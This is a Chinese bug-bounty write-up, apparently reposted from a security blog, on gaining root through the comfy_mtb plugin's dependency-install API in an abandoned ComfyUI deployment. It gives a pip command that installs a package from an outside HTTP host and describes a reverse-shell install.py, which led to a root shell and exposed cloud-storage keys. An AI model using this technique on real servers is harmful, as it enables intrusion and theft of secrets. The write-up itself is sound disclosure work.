从一个废弃AI工作流平台拿下生产网 记SRC中的一次 ComfyUI comfy_mtb 插件 RCE
作者发现某SRC资产中的ComfyUI WEB资产存在漏洞,通过API远程安装恶意Python包获取root权限,但该服务已下线,漏洞已被修复。 2025-7-8 13:2:36 Author: rce.moe(查看原文) 阅读量:14 收藏

一天,我正看着刚刚收集的某SRC资产列表,在图标列表里发现了一个从没见过的奇怪图标。

查看了下对应的资产,发现是一个定制的ComfyUI WEB资产 。

UI 功能基本上不全,随便写了个最小化流程执行后端还是返回500

看了下ComfyUI 这个版本的老源码 也没有发现什么能利用的地方。

ComfyUI有一个API可以列出当前安装的扩展列表

POST /extensions HTTP/1.1
Content-Type: application/json
Host: www.example.com

["/extensions/core/clipspace.js", "/extensions/core/colorPalette.js",......]

站点上安装第三方扩展只有十几个,我马上就把它所使用的扩展全部下载下来进行代码审计

其中有一个扩展引起了我的兴趣

comfy_mtb 扩展上有个API 它可以实现远程安装所需的python依赖

看起来十分的安全 它使用的预制的包白名单

查看了下这个文件的版本历史

https://github.com/melMass/comfy_mtb/commit/d6e004cce2c32f8e48b868e66b89f82da4887dc3

果然 它某个版本前是可以安装任意包的

现在 我们得到了一个可以安装任意pip包的pip命令注入

我们该如何利用他呢?

在公共pip仓库上上传一个恶意包?

不 python其实可以直接安装远程HTTP上的包

python -m pip install http://x.x.x/shell.zip

先nc 测试下目标是否出网

目标返回了一个带完整pip UA的的请求!

其中linux内核版本显示了由某SRC对应公司定制的内核版本名称 进一步确定了目标资产归属

构造一个python tgz包 install.py 内写入反弹shell的py代码

触发安装几秒后 收到了一个root shell

环境变量中存在大量储存桶秘钥等敏感凭据

curl试了下生产网的GIT 和 主站内部API均可正常访问

提交之后不出意外的这个漏洞被降级了

这个服务主站点在漏洞提交时 已经挂出了服务终止公告 是一个已下线业务的残留服务

版权声明:本文首发于白帽酱的博客,转载请注明出处!


文章来源: https://rce.moe/2025/07/08/ComfyUIRCE/
如有侵权请联系:admin#unsafe.sh